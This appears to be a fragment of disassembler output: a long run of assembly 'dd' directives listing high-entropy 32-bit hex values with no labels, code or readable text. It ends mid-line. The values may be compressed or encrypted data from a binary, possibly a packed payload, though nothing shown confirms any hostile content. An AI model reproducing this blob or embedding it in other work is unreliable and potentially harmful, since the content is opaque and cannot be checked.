dd 0A2FF427Dh, 57E43602h, 6A754998h, 88E9FF82h, 10FE7C18h dd 5C3CDFAAh, 588FF748h, 801BB5A1h, 3AC83FC5h, 534B30EDh dd 0DDF6131Ah, 0EDFDFE7Fh, 90886008h, 0F7205081h, 2EBB0423h dd 0EBF889F2h, 0A2C21598h, 0CE2579Dh, 54E177Dh, 0ACBD64E9h dd 9FBCD395h, 0E9DA8ED8h, 0E1F1D16Bh, 43208DD9h, 758B2D68h dd 0AE2037C6h, 95BA0751h, 0A42C0E43h, 1777BC80h, 0BA08F386h dd 0B1510BA4h, 90C1AD03h, 2F010624h, 9F28320h, 252CF1F8h dd 0C81C3553h, 0DF58C78Bh, 0C5F35F0Bh, 5582E520h, 0B1384CDAh dd 7C83C17h, 2CD02859h, 0E741E981h, 2FABE77Eh, 5DE34212h dd 0A298DE66h, 2E8CB881h, 0DCA79212h, 1C577910h, 0F79AFE31h dd 56805508h, 0E9DD9C74h, 22C87A30h, 263422BDh, 13FC2552h dd 0BD7489E6h, 983D9753h, 0B52B088h, 0CEFE72B6h, 0E96FA901h dd 4EA4382Fh, 8AE2B5F1h, 82BC7EFFh, 0DBA57BBAh, 57A042CDh dd 0CD72670h, 0F2F572C9h, 410030ABh, 2A6A27E9h, 68555A20h dd 0E82E1F93h, 0BACA8922h, 52168071h, 71A43909h, 2CD30916h dd 99B3DBA6h, 0F7F36A95h, 0D18BF3EAh, 5FFFA4DFh, 0DC9E0DC2h dd 0F5F125AEh, 34305BEDh, 0D8669F0Ch, 0A7323CC4h, 2A3FBE00h dd 0B09604BAh, 0E5C3290Fh, 0ABD3D718h, 688F096Ch, 0F21B75F7h dd 8B7712C1h, 4865E3F9h, 32C1B95h, 35481952h, 6EFA433Eh dd 556689FFh, 0C1C5201h, 2FE16B47h, 8260A720h, 210F6176h dd 912046FEh, 0E7E107D7h, 0B2614C1Fh, 845E0F87h, 0CD12556Bh dd 885892F6h, 2EAE0439h, 0C8C46AE9h, 1E09F5FDh, 0D472E243h dd 685A03FDh, 0C71207BAh, 62B3DE51h, 0B615573Dh, 0E81684D2h dd 5E89B94Fh, 0C3B2F8BDh, 5BAD99D9h, 935C49D8h, 0EEF38197h dd 0ED1F495Ah, 68B446F8h, 80DCD65Ah, 18B85980h, 0D224E953h dd 38404EAEh, 0F60BC925h, 0E9AB5D31h, 80C8B702h, 15617BF7h dd 0D9F67AFBh, 0DF58E90Bh, 4EA6BCDDh, 9065242h, 455587E8h dd 0AAE0987h, 0A32AB4E6h, 0EB6B8C12h, 0B68D468h, 44F080A7h dd 75EDE34Ch, 85F496B2h, 0EC3AF799h, 0C1442B10h, 65E90612h dd 1D3134FDh, 69377A03h, 0B770E7BDh, 5C13EB2Fh, 0AAEA87AFh dd 0C405940Ah, 0B6DE08E1h, 2855500Ch, 0C0DF8292h, 167C4235h dd 0FC213234h, 0EA3CC68Ch, 4AEB054Dh, 122A8E68h, 1F76ECEEh dd 0F052D09h, 2EC2CF89h, 80FD0BECh, 3E2842F5h, 0F9012E4Ah dd 0FA082036h, 920797F5h, 0D35009B9h, 0F6C8212Ch, 0D35EDE10h dd 0B1F094Ch, 2DC93CE5h, 8991F190h, 441EC9DEh, 7D4C14FCh dd 0E4B2A708h, 0D84372E6h, 2CC2C22Eh, 3DB634E5h, 304E1E79h dd 803DBF5h, 0F6FE0459h, 0C0634F7Bh, 10721D3Fh, 9010475Ch dd 141C6808h, 94E95E04h, 0B24A67BCh, 608B9F45h, 4CA0FE91h dd 4E403B12h, 0F27A4968h, 975E499Fh, 0D6CB07F9h, 1EF74A5Fh dd 22CD093Eh, 814E6240h, 1C6CF605h, 0D0080E07h, 0F8280EE8h dd 30E2A1E9h, 32C500F7h, 0B46FAB41h, 71171BA5h, 0F4ECC9E9h dd 0F1EC2215h, 0C230D477h, 303AF4A4h, 29031A6Eh, 805F8CBh dd 529CF059h, 0B1A20662h, 0FB8AC18Ch, 4C4ADD88h, 137D2C3Dh dd 0B3BBD81h, 67E97E3Ah, 0F02BA135h, 0EC645C6Fh, 0D9AAEA89h dd 6223429Eh, 0CC51975h, 89E5F36Fh, 0A976631Ch, 0B2644D8Bh dd 40B5B8CEh, 0F3FA5456h, 544B0995h, 1C7252C2h, 0F971A427h dd 5647000Fh, 0F6DE64BEh, 5ED860E1h, 509A0509h, 0E1E782C0h dd 6388D4CCh, 7B1C554Eh, 0E8D258C5h, 0E8B54CECh, 4904DF9Fh dd 0B860F47h, 0B9B4837Bh, 446AD957h, 0B3842B8Eh, 3CAD811h dd 567B3E45h, 5D18F707h, 0ED560954h, 7359CF01h, 11811BC6h dd 2907FFEFh, 60B66144h, 7D82C7DDh, 2CD47DA9h, 570903E7h dd 0B65BBECCh, 7CF36512h, 0E4AE9C2h, 630014C6h, 0F10D42B1h dd 534C133h, 9D569E2Dh, 7613AA38h, 0F95834EBh, 89A19756h dd 811A42Bh, 79BC64Ch, 492C96EEh, 0C5B098D4h, 0F9A14CB2h dd 0CFFE3A0Eh, 0E908C74Ch, 92053E2Ah, 7469A5ECh, 0D12904EBh dd 53B5BD00h, 95B0553Eh dd 0C37BA40Bh, 0EAB0073Dh, 750BF52Bh, 56EBD645h, 12B96043h dd 684EFD28h, 21253AF7h, 25E969A2h, 0AD66F1A2h, 72F0DBC1h dd 16DF0729h, 8DB929D8h, 1DD0AB31h, 2C794051h, 12C03A2Eh dd 10B8C309h, 806E266Eh, 2917B468h, 0DF901670h, 9C0EA401h dd 0E0100B37h, 0EA5BF376h, 712B5550h, 0A9274A02h, 5BE59890h dd 1C437582h, 0E6DD8891h, 0CD040577h, 20EDCC81h, 0FD35F5D8h dd 3258052Bh, 9924FAADh, 67861C80h, 0C7B600Ch, 8AD334F0h dd 7C0048BFh, 1CD19FF6h, 8A40DE45h, 2F5A90BFh, 0F784F41Bh dd 0A693313Bh, 8411AFF1h, 0D6EAEFF2h, 0E87A0CDFh, 2B812551h dd 8167484h, 1698D7A8h, 8B7C14D5h, 56AF32C1h, 0A6203B1Ch dd 218012CEh, 0E396447Dh, 4A5A01F8h, 0C07FE2C1h, 61836469h dd 97E10A4Ah, 62438D3Fh, 0BE0F1316h, 0FBB604EFh, 57783163h dd 0DD565801h, 1FD838B1h, 0DC9344B5h, 264DA34Eh, 0CEE5C1h dd 0D2BDFAEDh, 83905F0h, 87FCE27h, 5D1307D6h, 0B34BE2FCh dd 7598175Dh, 0B6402CA2h, 0A69B4AC6h, 230616FAh, 91D3FAACh dd 456A36Dh, 2D4080EAh, 5D4E7A69h, 1679C6ACh, 0E351D3Dh dd 0AAE74B3Dh, 38CE606Ch, 342ECB45h, 4D3C3D46h, 0E4805E05h dd 0A81D9E68h, 9DC575EEh, 0B8AEA867h, 4C0DC28Ah, 0C4BABE92h dd 1003FD99h, 2C00FCDEh, 45B652B9h, 0C00FCEFEh, 0F8F608EEh dd 280070Ah, 0F028D3C6h, 155C6FE9h, 46E58809h, 0FED5E05Bh dd 0FDA9F29h, 77531ACBh, 73EDB230h, 0BB743A00h, 5ED80DF4h dd 0FE42BD31h, 0AFE297D7h, 1AC833D4h, 4139E2EAh, 4A4A8C90h dd 544241BBh, 40381225h, 0FB7E5CBFh, 0C14E391Ah, 4A6BC0EEh dd 69E92473h, 781603FAh, 0C3B4D3Ch, 8B0C1FE4h, 0C454A296h dd 0A0710126h, 0EE01EC66h, 86452D2Dh, 0E4E49C7Bh, 0F6374960h dd 7B54B9EEh, 12374ADEh, 8A8E1718h, 68550047h, 209005ACh dd 9B5127E9h, 8E9283DBh, 652BFDB1h, 100DBD1Eh, 824E8B7Eh dd 6CD8F00Bh, 0A63D6D9Dh, 0DFEC8BC0h, 32C117EAh, 4DBB044Dh dd 7ACB7FF7h, 13282CE4h, 530E2620h, 0F572B8D1h, 19FF0023h dd 6C6F2903h, 6E147ACFh, 78AF4AF7h, 7BC04250h, 0BE236DBBh dd 44659818h, 6877E352h, 0F289604Ah, 54FA0C3Fh, 6F17EBF7h dd 0CE0B4B59h, 15F200C3h, 4FD6E91Fh, 0C243BDE3h, 6C3E3568h dd 0AD262701h, 68704956h, 117A6D1Bh, 168B66BEh, 0D8F84481h dd 0DB43EAD7h, 2CC17E9h, 4805C251h, 287D2579h, 880008D0h dd 15E95A02h, 0EC16A0E6h, 0BE3C12C7h, 5901E429h, 0DABD38D7h dd 32F75686h, 5537F0A0h, 9F015880h, 0DE2DA653h, 782C59F9h dd 0B6B04B3Ah, 5DE82E21h, 0B97A1646h, 72015098h, 0E4C3FE80h dd 0F3801FCBh, 89AF0C78h, 0C1BF5F6Bh, 0B981B613h, 75D0BCF7h dd 0B6C37F19h, 0F814FA53h, 79BF0452h, 83695E4Ah, 0D497DCAh dd 1A292C4Fh, 17F4EA08h, 28660388h, 64C58C3h, 0BD5E205Ch dd 0C813D673h, 76509AC2h, 0B0C36427h, 0E1B553F9h, 845EB0Eh dd 9ED6C82h, 0A817B704h, 15B11CCCh, 0D372CB18h, 50EB7880h dd 40D1C866h, 0F49505B2h, 0A2EE319Eh, 8259038Bh, 46FA8FD0h dd 4B1447F9h, 0DF65235Bh, 7AC21545h, 244BA3CAh, 0DE71D18Fh dd 7EF73E78h, 4E5E727Fh, 45C51731h, 0F54CBBF2h, 33EE0B18h dd 766A225Fh, 687126A5h, 2E6898Eh, 349F87Ch, 0B71E3B81h dd 79B5C591h, 90F331D8h, 8B4F600Eh, 722261C3h, 30254D7Bh dd 0A56ED168h, 85FB108h, 4300EC2Dh, 3BB7BA52h, 656848AEh dd 0D901D400h, 0D1D2F706h, 48D2E24Ch, 5FEA00C2h, 0E987FECAh dd 0E179A1Bh, 8005EFC0h, 0FA202C63h, 2365ADE9h, 6853C2C8h dd 6725764Ch, 7EA59051h, 4CA05CB6h, 5F80C21Bh, 9D9904Bh dd 0ED41C08h, 28EF504h, 0CC13B768h, 283F099Dh, 0E15805EBh dd 0E8098173h, 806A5D1Ch, 22132D84h, 140CC770h, 89B482F6h dd 5C13E956h, 6839DE53h, 5C417325h, 3102E773h, 5EBD48D7h dd 0D7545051h, 7E81418Eh, 7A089DF0h, 0C0D0F0CAh, 452DEB57h dd 0CEA03C9Ah, 49F24365h, 0D3DD012Fh, 536008AEh, 0BF12809h dd 60045766h, 4DD49257h, 23DC4F7h, 6A012907h, 2861EA21h dd 74060558h, 0E77A86Dh, 0DB0D3842h, 81FFF729h, 76940274h dd 1CC5C1F4h, 42896BFDh, 0C3E9304Ah, 0D1165E78h, 0AF4446E6h dd 0EE00922Ch, 9E22A15h, 9441E1B8h, 25EBE940h, 81121D70h dd 0E2A41F3h, 21D3F745h, 4F2433ECh, 0E3819D60h, 0C2151AB7h dd 0E8C0384Eh, 0E91A58F7h, 0F133B2F5h, 4BA63DF4h, 1555A521h dd 89682C4Eh, 5D2CBBh, 6729B82Dh, 0F0214B17h, 0A9393534h dd 0E15E250Fh, 0A26EF6FCh, 986882E4h, 3A54680Bh, 8215C509h dd 27E1E361h, 20789CFh, 4569E348h, 0E6E8A075h, 9280BADDh dd 785C139Dh, 0C6D5F452h, 6C3D2109h, 972C78FDh, 0E9622856h dd 0C48B5D49h, 0D7C25B54h, 581009E5h, 0D8A0D6F7h, 0D80782F6h dd 0E956AEA0h, 0D37A27FDh, 91D16D5Bh, 0D7F70149h, 45ECBD60h dd 4BFFFA60h, 761DDAD6h, 41322EEBh, 0F5F5C680h, 75DE28BCh dd 3B454E32h, 0BA4A55C7h, 79F28282h, 0C4D4B302h, 882B0C3Ch dd 0D0465BDEh, 0E6C0CCF7h, 39680712h, 0C7E93942h, 0C7A65792h dd 5004597h, 57BC3DBFh, 254C9C35h, 35D0609Fh, 0B4C24971h dd 41EF36DCh, 0E6DDC8A3h, 35BA45A6h, 0EA721370h, 40D6FB5Fh dd 7F57A182h, 60B60DCCh, 5B1EC300h, 0BC290C4Bh, 480820CEh dd 0BD84445Fh, 0B2109B8h, 4254F625h, 0C7DF529Ah, 802393FFh dd 0B45052CDh, 0AAB26431h, 726A70DDh, 47DD51C1h, 40F8201Ah dd 38985956h, 7DC82D1Eh, 39BE4B96h, 18C17EFAh, 5447Eh dd 0AB83D632h, 120BB8FBh, 0C498043h, 326833EDh, 98AD6716h dd 5FFB566Bh, 5A693F7Ah, 2558870Bh, 27EB7AF0h, 952D0740h dd 502FE435h, 0BC92CDD8h, 8295879Ah, 5E793DC1h, 0FDF6E5CDh dd 47EF029Ch, 0F5AC3374h, 738C8468h, 3CBA1CC0h, 58274Eh dd 8103EAC1h, 5041D7F2h, 491C58h, 378A7EA0h, 0B1A6B8E9h dd 0C74AA7D2h, 742FDh, 5C771DF1h, 95DA9848h, 0ED4A26F2h dd 0AAD314F2h, 9180DD24h, 1C3657h, 33E1816Bh, 0F76F4132h dd 0A1A8D95Fh, 5005ED82h, 0BA5B7740h, 0C5EF71B1h, 8CBFE89Fh dd 9DD35A2Ah, 1AA8EB09h, 78945FCDh, 0CAB4594Ah, 683C1C77h dd 8BC6A756h, 905DBD0Bh, 598A0030h, 9418751Bh, 8A08125Bh dd 0BEE44FF1h, 1B1E12FEh, 8478906Ah, 0D0865B03h, 289A0C28h dd 21401C1Bh, 0D9D25F39h, 0B980A2A8h, 447D0255h, 9B4089B8h dd 2A7577B1h, 9879ACD0h, 44B24F67h, 174586BAh, 12D765BBh dd 0C3C4AAEFh, 5C3BBA03h, 245A101Ch, 0DE011D80h, 4E32DDFDh dd 0F2B7CDA8h, 34826D7Bh, 7552928Dh, 0A009660Bh, 0D2658928h dd 7D029D84h, 5707ED6Fh, 7D60C862h, 9E4AF4CEh, 0C56602E0h dd 0FCDE68CDh, 3EE9F190h, 0EE4A6B7Ch, 9D84542Ch, 0C5CF0BD9h dd 3D4B7232h, 90212859h, 33793B04h, 0C399D2h, 0D3739EB8h dd 5352228h, 4FC2892Eh, 0D187CA04h, 4B618890h, 0E96B19C4h dd 2E5B6931h, 80A0B2FCh, 6CE1CEAh, 0FDD3095Bh, 0AA574985h dd 0C28FE492h, 4B45FC51h, 0DA0EF679h, 10F8B418h, 0EC5EA1A4h dd 703800D2h, 0F8052234h, 421E0964h, 0C5423CE9h, 0D019485Fh dd 28B150h, 602880B3h, 6D48F068h, 6C5ECB7Dh, 3F59BF31h dd 0BC5597h, 1A781009h, 0A7C1FB02h, 0C3522A7Ch, 0F617027Eh dd 2FA25E4Ch, 0EE2949F5h, 0A0181ED7h, 466F8A1Ch, 2DA82EC5h dd 5D89D8C5h, 895A3157h dd 566C056Fh, 0EE28EA84h, 68D8A897h, 8A3D1317h, 0CE060405h dd 3BB16D8h, 4AA6AA97h, 4A692983h, 97D16699h, 0E10196E4h dd 8106BF41h, 8DD007F1h, 0BE14B72Eh, 0DB204EB0h, 315D09CCh dd 46005EF2h, 25AE6A41h, 20217495h, 9D9B8108h, 481EF832h dd 52F7F50h, 0AA2F346Ch, 57549A81h, 45A4BDA4h, 13AFD0F5h dd 7B12EF86h, 0B04ABEE7h, 112C7F5Fh, 0B92A9126h, 6274966Eh dd 0A20F3568h, 4E0069Ah, 10E9885Eh, 0C1677460h, 0C17C0A6Bh dd 6859CAC6h, 13BA6987h, 0D0B86CACh, 0C49B0B9Eh, 0EAEE1625h dd 88AC1BC5h, 0E9E888C0h, 7DA0D084h, 0F41F832Dh, 6309B499h dd 5F9E6BA9h, 3077C738h, 0F716286Dh, 0DD05D561h, 9D75F1E9h dd 0E092A12Bh, 10C9839Ch, 0B05DE6ACh, 0B3440105h, 58E330B2h dd 0CCA8CD80h, 0E918BFCBh, 0F1E39EE1h, 5D49000Bh, 1BA5232h dd 8B85831h, 808072E4h, 6D364F1h, 5F16EE69h, 0EBB19AE8h dd 318105BCh, 0B1CCE828h, 0C9801893h, 0E94A06DDh, 0D999672Dh dd 7F7D8859h, 27C9702Fh, 3F7997B3h, 2662CC6Bh, 4F6E59CEh dd 0BD01D988h, 380F4A49h, 9E601AE8h, 9B5A472h, 0EAE65B73h dd 956C16B7h, 0D69BEDE4h, 0E88CFBA7h, 2B7A10BDh, 8088875Fh dd 366804C1h, 12E8A37Bh, 0C7B3DF69h, 0E8837517h, 4EF6B631h dd 5851AC48h, 0E904620Ch, 76B3F0A0h, 0DCEA3452h, 0ACAB85DBh dd 9FF9110h, 0FF66E4B3h, 0E09F9525h, 84270FEBh, 736B22D5h dd 4AE91842h, 0E92BB5h, 2532685Bh, 0BC735AF4h, 0A3E9B07Ch dd 0F659FE1h, 24BEEA13h, 2C32FF05h, 0EC0E7A18h, 4E54849h dd 0AADAB0C5h, 65586C29h, 1CD34AB3h, 5AF009EEh, 73B592F8h dd 0A75E26F9h, 0DD177B5Bh, 0E9540D90h, 0E3944ED6h, 48D2279Ah dd 803F1B98h, 0FFB8C229h, 254B720Ch, 3F34E40h, 0C15FC378h dd 61FF07E3h, 3E938B77h, 99DF260Ah, 0AC0881A4h, 0E7810060h dd 39027558h, 8BB4475Fh, 4E250ECFh, 4EDE728Ah, 76C44F33h dd 5F88AF29h, 907C975Ch, 588F765Ah, 5F09E1B8h, 24054E23h dd 0B2AF2BADh, 0F8AF6BE2h, 0A5B7085Ch, 0AE390133h, 0E8183FDAh dd 170DC3ABh, 0E573F16Ah, 57080503h, 5768EB50h, 23099F63h dd 16B281F1h, 0C98251ABh, 77A48FEh, 2D18BC9Dh, 1709987Ch dd 16027177h, 4E1EAD68h, 0C03EACD9h, 0E2346B31h, 0ED68460Bh dd 20C5665Ah, 0E9194E2Fh, 3050D3DAh, 94608407h, 6DD1AE45h dd 222C935Fh, 57E657DEh, 0B11AFCA8h, 1D87DBBFh, 6207ECEh dd 8F160C0Ch, 0D514670Dh, 0F1E2108Eh, 7FF5A55Eh, 66DD9DA2h dd 0C97FE927h, 89600252h, 0BDA05DC0h, 0D71A400Bh, 4DA10357h dd 5260B070h, 55E0368h, 4A5A2A1Ch, 93CFAC3Ch, 10FE9829h dd 0B95EC21Eh, 0D70C6BE3h, 0FD01EF22h, 2F8F7861h, 2A68036Ch dd 25A15FA4h, 36D9DCDFh, 4D45188h, 0E85BD929h, 4F6A3E42h dd 4A5B49A6h, 0ADE88824h, 0BE56C860h, 0DE7AFE16h, 637600BAh dd 0C13C7D2Dh, 234E65Ch, 0F0573EEh, 3F277C39h, 12EC9EA6h dd 82D6E274h, 0D176F868h, 2CA9DCCh, 27E9156Ch, 5E2DEED4h dd 181F8239h, 5162C69Eh, 0E96D687Dh, 0E929686h, 0C001B652h dd 0CD8004E6h, 0EBC6CC40h, 8CA5A4BFh, 48DDF9h, 82A580Eh dd 79A3CBCFh, 18005EA5h, 0BBB1E67h, 9B418468h, 0B1A21AACh dd 0EB80F121h, 7DC3CCE1h, 6BE70CDCh, 22FFC45Ah, 82E05E10h dd 599D4B9Dh, 937CCB16h, 7BDA5D5Ah, 6F189909h, 0FA04557Fh dd 0E3B8C8E8h, 0BBBF0A97h, 9BC85A09h, 5E197BC3h, 26D5A983h dd 0F72520C6h, 1E0B98Bh, 0E083AA85h, 1E327B2h, 0B7CA8146h dd 0D8215F78h, 1A17FDF2h, 4E217150h, 5102CFF1h, 0D6DD07F0h dd 247FFB90h, 940E3C5Eh, 0D2A2725Bh, 716123DDh, 0DEAF3B5Bh dd 0AED88DA5h, 0E1D2D1B7h, 255D91E9h, 20FA0752h, 45FC4354h dd 0E3B6585Eh, 72E6B3Bh, 70CF08CDh, 0D82C73AAh, 5C44B6F0h dd 0C61CE7EDh, 4249454Fh, 93F4C54Eh, 302001F7h, 0ADBD0392h dd 3120853Ch, 2CD45DEAh, 6704D345h, 0BEE43BE2h, 0D052982Ch dd 0AD5BB911h, 42FA7BF8h, 0F7C777CBh, 0CF014022h, 598896E1h dd 6332E4DEh, 4C9712D3h, 760945F0h, 2F47F825h, 689216Eh dd 58035C58h, 8151232Dh, 37185830h, 6E166C00h, 31A36801h dd 0B600AB93h, 2179094Bh, 0EE5E4BF1h, 0F661DF00h, 4FE9EE8Eh dd 68C3020Fh, 0C593965h, 0AD28A1A6h, 4320C800h, 7DD7E381h dd 0E962120Bh, 0E8265350h, 3EFE2066h, 71DDD35h, 3214254h dd 18E14386h, 76BA0072h, 29C02727h, 89DD13A9h, 9D1BC4F9h dd 292009F2h, 94F99D54h, 0BCD722Dh, 69104385h, 39E2CC0Ah dd 4CFAB7BDh, 324D8CEBh, 0B976E987h, 0F1A098FEh, 0A1F4A320h dd 0DFC28DD6h, 98DD1F32h, 9E8EE94Dh, 68580F46h, 6F8B6ECAh dd 25309C1Ch, 0BFEB6D5h, 0C458E95Bh, 31901EFAh, 5D171107h dd 0A9E6577Bh, 5E2D5E8Dh, 70998D80h, 0F4646B31h, 4E1D0980h dd 860D4C7Eh, 8A255106h, 3D0AFE17h, 8E39A96Bh, 27690C0Fh dd 1C1C477Bh, 23AF01Bh, 7A76055Dh, 13FE3734h, 97820720h dd 64522154h, 84C75AA3h, 0BE1BD541h, 4F987A38h, 95AC37E5h dd 0A9D97A8h, 7605501h, 3005E864h, 8A08BCEEh, 1DF0E931h dd 7D10E462h, 18F70747h, 0C1A4908h, 8D0877B8h, 62456440h dd 182220E7h, 10EA6303h, 1056F810h, 0A518C0DDh, 0CC8408C1h dd 80556280h, 28C62389h, 31080C5Ch, 5B18DE5Eh, 0F00888B5h dd 0ED1D08B9h, 2895A20Ch, 1EF1407Dh, 1F6803B5h, 0AD081038h dd 321A1083h, 28C69C18h, 8C66113h, 2018503Bh, 76206019h dd 7B6D20A5h, 875C633h, 3118BE82h, 5608BE17h, 0F0EA01DBh dd 185AC990h, 2A3037A8h, 28BB80BFh, 8FD910C6h, 3B432008h dd 0B1311362h, 9398023Dh, 8346FB04h, 32010D5h, 6E9B3178h dd 1109508h, 2190C7B4h, 0E6D21B2Bh, 699D210h, 4D20B1A4h dd 3C1E31F8h, 9F4EAC18h, 20603108h, 2D375F30h, 9CE628E3h dd 0B4A95408h, 0FC9855BDh, 52C403E6h, 21400831h, 8888497h dd 0F085861h, 8A120CDFh, 71408538h, 0E6F9C488h, 45C0472h dd 47D1D70Ch, 40B89740h, 88A9111Ch, 92FC52BFh, 9AB6E0A2h dd 34FEE02h, 819EF74h, 6B202401h, 65C4988h, 87A990Dh, 0E7014ADDh dd 5A208C7Bh, 0C4F908B4h, 425FD29h, 81063654h, 9320082Ch dd 1ADB2043h, 318DF135h, 22859449h, 33FF690h, 8185EA2h dd 0E318D74Ch, 0E1AE8048h, 277C10C4h, 9C230E09h, 181AD6AAh dd 0A2E9BFC0h, 5316984h, 0F9BC267Bh, 20B1C820h, 154957D0h dd 19BE31DCh, 3894224Bh, 317CE634h, 5B087F8Eh, 87208880h dd 5D4F0A84h, 189E90A0h, 0AD08962Ch, 0D25280D3h, 80B39780h dd 0A380EC82h, 5734805Ch, 67E348C4h, 0E435DB0Fh, 51FDB220h dd 25B5EC8h, 0B384A340h, 8F08108Eh, 0D01D1846h, 803BD120h dd 10C67094h, 5408FE41h, 9A96D006h, 7C1C493Ch, 12650D10h dd 0A059411Fh, 80246AB9h, 8036201h, 27062D23h, 2E423141h dd 2408C910h, 0B380B76Ch, 541D80ADh, 80EAB480h, 880FDBBh dd 0D1E380B9h, 0A03308C4h, 0FC9C6003h, 7EA4C9ECh, 4968BD06h dd 0C78B3C1Eh, 46802672h, 2C478037h, 13EB0275h, 0B90E8963h dd 0C03D7AA7h, 408F44B8h, 0C90B0B49h, 0E8BF775h, 0DE093D1Ah dd 1808603h, 0C0333C31h, 4FB10F06h, 0AC092C30h, 0FE913AE9h dd 984989B1h, 0FC1C9C55h, 10B369ABh, 3AF78280h, 834E539Ch dd 7F9F4082h, 68E7E6A0h, 18B721A7h, 0D72EA637h, 2668AB84h dd 5DD3EAh dd 97368BF9h, 0F304817Bh, 573D0422h, 0E1391E81h, 0FEBE2480h dd 89021433h, 189FF248h, 0BAC38D7Bh, 0D14B00FFh, 49BD5529h dd 0A4EA776h, 1D77B2F2h, 0BC6CB039h, 2F135A86h, 881F1812h dd 7EEFD12Eh, 0C7010C27h, 142D8E8Ah, 5E2FE96h, 81A763CBh dd 97E3766Ah, 1FBB5E6Eh, 0CBCEF900h, 43E90AE8h, 5003768Ah dd 0D963EC58h, 874003B3h, 0AC37F668h, 0D00C2D94h, 69D86868h dd 2D62BE01h, 0E71F5CA1h, 7EEAF12Fh, 28370AE4h, 0F6939F0Dh dd 9B2017AEh, 0DF21F20Bh, 0C9E907E1h, 6ED709ACh, 0CF681212h dd 0B96D8C5Bh, 50BC3D1Fh, 592F255Eh, 1A0182ABh, 425F51A5h dd 90B7C2Eh, 8170DEF7h, 0FE5EE6E8h, 314A1000h, 0D0296630h dd 0E95F08B3h, 0E3D7DC3Fh, 2D58CFA4h, 6EB30142h, 0A13E3DD9h dd 53046D16h, 20FAC389h, 303768BCh, 0C5B131C5h, 16A616B4h dd 0EF0DB544h, 0C9810100h, 60A92DCBh, 0B580C26h, 1ECA4CB9h dd 0F101F504h, 0EBB7FDABh, 5577802Ah, 46631CE9h, 91CF8880h dd 0E6D55BFCh, 0C70CB27Fh, 0F0E75051h, 20E9C120h, 0B7D9B5DBh dd 0DE279C9Ch, 0DEF67A6Fh, 0C4B75300h, 13F6C780h, 0F8FD8851h dd 7DE90560h, 261E0150h, 0F6412538h, 0D25B6240h, 307C94FDh dd 50A266Dh, 0CD025E2Bh, 1DF2D6Ah, 0D36B61EBh, 0A2AEB4F3h dd 4659C975h, 175E4EDCh, 97F2F684h, 2A5C2DAAh, 847A2A09h dd 0A3800BE9h, 0F39323F3h, 37830C80h, 0D9019155h, 95D85B5Bh dd 0D5E91AF9h, 427F9E20h, 4082024Ah, 0F358072Ah, 0F17CEDA2h dd 1E4AFB0Fh, 64A3645Dh, 5B3ABD00h, 0E09F044Bh, 2CA2C5D9h dd 9D611ACh, 7B2284B8h, 14DD0835h, 0DEA95CEh, 1994CD5Ah dd 38EE7769h, 68A5E912h, 3A5629BBh, 0B5436BC8h, 93BD95FBh dd 70FE6228h, 0EAE58121h, 16A0541Bh, 7FEFA0B2h, 85F897FDh dd 7955D497h, 7D0CCB54h, 58BFD8E9h, 2019BBAh, 61DA5AC6h dd 8302D057h, 50B4DD08h, 0D0899F34h, 212382DFh, 497DD1C8h dd 0E9671077h, 12B24E7h, 9254473Fh, 0ABA08264h, 36930ADCh dd 286B73BFh, 289E1A8h, 0EE87D3F7h, 900CD29Dh, 55BE240h dd 75606602h, 40E8013Ch, 16A491Ch, 0E3815682h, 3C1051B1h dd 0DAD92A39h, 0F6328797h, 400726C1h, 80B11E95h, 8BD62904h dd 8E7AE14h, 2DFF895Ah, 0FC6EF133h, 0B8202902h, 4F0B5243h dd 0B0F1F851h, 253B358Ah, 0F2DA5A28h, 0F3544B0Bh, 3242606Dh dd 2DBB7FD9h, 1CF1D189h, 0F7317909h, 0C810D5BBh, 7B503714h dd 0E5425486h, 2BD10DEDh, 7BDD4579h, 14A85A16h, 49E5C5h dd 81EDD1B4h, 5C0246F5h, 895775E6h, 0D96177EFh, 8A62885Dh dd 0E2880EA6h, 585AD342h, 9F8BFD7Ch, 48105F69h, 0DD7BC380h dd 0F26CEB2Dh, 4ACD320Eh, 0D3755568h, 4E0824F1h, 63B0DC4h dd 4AF3F121h, 59CAD85Eh, 0C2DB7760h, 7B09676Fh, 0BD7E2C0Bh dd 3D48A8F4h, 88186469h, 5FFD650Dh, 6B3DD3BFh, 7F36D1C9h dd 51EB9831h, 0DCC33001h, 0EC448B6h, 3EC40958h, 61838806h dd 40009D63h, 28E6793h, 6861E69Ch, 0D9636AC9h, 3225A45Ah dd 81D3B340h, 0FB50E49Ch, 1193EBBEh, 0DEF65B15h, 732509CFh dd 87002BA2h, 2D0E9C84h, 8015DAFh, 68F82973h, 0C06602CAh dd 32E90F40h, 5C1A3D99h, 0E553D975h, 181BC6E9h, 29BF5A4Eh dd 0BF8F0445h, 0BAF561B2h, 4C7228CAh, 2D3B2829h, 0EBC443C8h dd 0E05C0B37h, 0BF21E35Dh, 27AA118h, 2065E6BFh, 6814181Eh dd 0D7DC1B2Fh, 87E2F0A9h, 81C2F60Bh, 76361568h, 7C0F6028h dd 7010620h, 0AE0A88F5h, 72BCB227h, 0F752D00h, 5260015Bh dd 0B1F6ABAh, 39CD6C68h, 0A2DA829h, 0B9004B98h, 8154A961h dd 326ECCF7h, 916234F2h, 762DB8C5h, 0F3755A25h, 0AC8F131Bh dd 99D94B32h, 1E6E02Eh, 12FEB4D7h, 14CCF949h, 0C0893F23h dd 0CA2CE4BBh, 5AB0FA6Bh, 18FAF636h, 80423FF5h, 4FD670EDh dd 1662A7EEh, 79310D4Fh, 0E72067B1h, 21464095h, 20EEC14Eh dd 3E73689Ah, 0D920D692h, 62D8BF59h, 0DF10AC80h, 89D22D12h dd 2637AF87h, 157C740h, 1EAB98FAh, 0E8CF566Eh, 47909FA3h dd 662FE9FBh, 0E543AE13h, 33FB9E94h, 0A8D15710h, 5F148BD1h dd 526F8F56h, 7F13F190h, 94AED092h, 40B2247Eh, 0B8226C2Fh dd 33547814h, 277C52E6h, 2131F153h, 0A501672h, 0C4CAEE5Eh dd 4C65885Ah, 9AA73941h, 0E91AD79Ch, 7E24299Ch, 64F7DA90h dd 2D582974h, 3E0BA9E8h, 57705438h, 0F34B215Fh, 7808196Eh dd 0D0885B1Ah, 2D010CDDh, 3B92BD05h, 3025CEE9h, 4CC88F3Bh dd 650725DFh, 0EE68049Eh, 0C4C9B808h, 0CAB4BE8Ch, 3B7F057Eh dd 0FEDF6849h, 1AC888D9h, 54E9FE86h, 0F35E343h, 33887C16h dd 1207FD45h, 5904BE8Eh, 9ABE590Ah, 9B031C13h, 0F21C7D27h dd 6A52E97Bh, 164E0458h, 8EA119AEh, 6FC4F875h, 562B0115h dd 950697BEh, 7C866E55h, 0DB1C9588h, 